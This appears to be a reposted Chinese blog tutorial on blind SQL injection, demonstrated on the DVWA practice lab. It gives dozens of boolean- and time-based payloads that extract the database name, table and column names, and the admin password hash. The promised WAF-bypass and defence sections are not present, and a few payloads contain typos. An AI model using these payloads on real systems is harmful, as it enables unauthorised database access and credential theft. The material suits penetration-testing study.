sql注入

Posted 鸡术有限

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。

盲注

0x01  盲注简介

0x02  盲注分类

0x03  常用函数

0x04  简单应用

0x05  绕过waf

0x06  防护措施

  • 0x01  盲注简介

sql盲注之所以称为盲注,是因为没有回显注入错误信息,即一般注入为回显注入,一般攻击者可以从页面上看到语句的执行结构,而盲注一般无法从显示页面上获得执行结果,甚至是否执行都不知道,所以盲注要比一般注入高,目前网络上现存的sql注入大多为盲注。


  • 0x02  盲注分类

(1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

sql注入(2)


(2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

sql注入(2)


基于时间的盲注主要用到的就是sleep()函数。

  • 0x03 常用函数

substr() 函数是用来某一列字段的某一部分。

substr()有两个重载:substr(string str,int a),substr(string str,int a,int b)

substr(string str,int a),其中,第一个参数为需要截取的字符串,第二个为开始截取索引,从这个索引开始截取后面字符串。

substr(string str,int a,int b),其中,第一个参数为需要截取的字符串,第二个为开始截取索引,第三个参数为截取到这的索引,从这个第一个索引开始截取到第二个索引之间的字符串。

count() 函数返回匹配指定条件的行数。

count() 也有三个重载

COUNT(column_name) 语法

COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入):

SELECT COUNT(column_name) FROM table_name

SQL COUNT(*) 语法

COUNT(*) 函数返回表中的记录数:

SELECT COUNT(*) FROM table_name

SQL COUNT(DISTINCT column_name) 语法

COUNT(DISTINCT column_name) 函数返回指定列的不同值的数目:

SELECT COUNT(DISTINCT column_name) FROM table_name

注释:COUNT(DISTINCT) 适用于 ORACLE 和 Microsoft SQL Server,但是无法用于 Microsoft Access。

详情:

http://www.w3school.com.cn/sql/sql_func_count.asp

ASCII()将字符串转为ascii码,但是只能转换一个字符。

ascii对照表:

http://tool.oschina.net/commons?type=4

length()返回字符串的长度

left(string str,int n)返回字符串的前n个字符串

  • 0x04  简单应用

应用还是在DVWA上进行的

0x04a  手工盲注步骤一般为

  1. 判断是否存在注入,判断注入类型。

  2. 猜解当前数据库名。

  3. 猜解当前表名。

  4. 猜解表中字段。

  5. 猜解数据

0x04b  基于bool的盲注

  1. 判断类型,由回显可知为盲注


    sql注入(2)


  1. 猜解当前数据库名

1' and length(database())>x

用二分法查找最快(二分法详情见数据结构)

注入过程:

猜数据库名位数

1' and length(database())<10 #
1' and length(database())<5 #
1' and length(database())<3 #
1' and length(database())=4 #

猜数据库的第一个字符

1' and ascii(substr(database(),1,1))>97 #
1' and ascii(substr(database(),1,1))>127 #
1' and ascii(substr(database(),1,1))>110 #
1' and ascii(substr(database(),1,1))>100 #
1' and ascii(substr(database(),1,1))<99 #
1' and ascii(substr(database(),1,1))=99 #

第一个字符为d,同上可以爆出4个字符为dvwa

  1. 猜解表名

先猜表的个数

1' and (select count(table_name) from information_schema.tables where table_schema=database())<5#
1' and (select count(table_name) from information_schema.tables where table_schema=database())<3#
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#

猜表名长度,用limit限制返回查第一个表的长度(limit x,y表示返回查询第x和y行之间的数据)

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))<10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))<5 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

查第一个表的表名

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))<127 #

以下省略,测试出第一个表名为guestbook,爆第二个表时需要将limit(0,1)转换为limit(1,2)

爆出表名为users


猜行数

1' and (select count(column_name) from information_schema.columns where table_name= 'users')<10 #
..........................................................
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #

users表中有8个字段

没错猜到这我快失去耐心了,所以耐心对于渗透测试是非常的重要的。下一步用工具吧,太难了

猜列名

猜长度

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))<10 #
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>5 #
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>8 #
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #

猜第一个字符

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97 #

以下省略。。。耐心为20%

猜出字段名包含user 和password

猜user内的数据

1' and length(substr((select user from users limit 0,1),1))<10 #
1' and length(substr((select user from users limit 0,1),1))=5 #

猜user内的第一个数据的第一个字符

1' and ascii(substr((select user from users limit 0,1),1))=97 #

猜出为admin

猜admin的密码长度

1' and length(substr((select password from users where user= 'admin' limit 0,1),1))<10 #
1' and length(substr((select password from users where user= 'admin' limit 0,1),1))=32 #

猜admin密码

1' and ascii(substr((select password from users where user= 'admin' limit 0,1),1))>97 #

慢慢猜。。。

0x04c  基于时间的盲注

基于时间的盲注实际上是在布尔注入的基础上加上一个判断,就是盲注没有任何回显,但是可以加上,如果语句执行了,让服务器几秒后再返回数据,这样来判断语句是否执行成功。

  1. 判断是否存在注入,判断注入类型。

1' and sleep(5) #


明显延迟可以判断为字符型

而数字型没有延迟可以用语句:1 and sleep(5) # 试试

  1. 猜解当前数据库名。

首先先看一下sql语句里的if


if一共3个参数 if(条件,对返回,错返回)

1' and if(length(database())<10,sleep(5),1) #
1' and if(ascii(substr(database()))>97,sleep(5),1) #
  1. 猜解当前表名,以下只写示例。

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )<10,sleep(5),1)#
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))<10,sleep(5),1) #
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1))<10,sleep(5),1) #
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1))<10,sleep(5),1) #
  1. 猜解表中字段。

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)<10,sleep(5),1)#
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))<10,sleep(5),1) #
1' and if(ascii(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))>97,sleep(5),1) #
  1. 猜解数据

1' and if( length(substr((select user from users limit 0,1),1))<10,sleep(5),1) #
1' and if( ascill(substr((select user from users limit 0,1),1))=97,sleep(5),1) #
1' and if(length(substr((select password from users where user= 'admin' limit 0,1),1))<10,sleep(5),1) #
1' and if(ascii(substr((select password from users where user= 'admin' limit 0,1),1))<10,sleep(5),1) #

耐心值0.00%,吃饭去了,下午上工具!


以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

mybatis以及预编译如何防止SQL注入

手机只需发条消息即可开始大规模SQL注入攻击

4个单词,谷歌返回16个SQL注入漏洞

基于约束的SQL攻击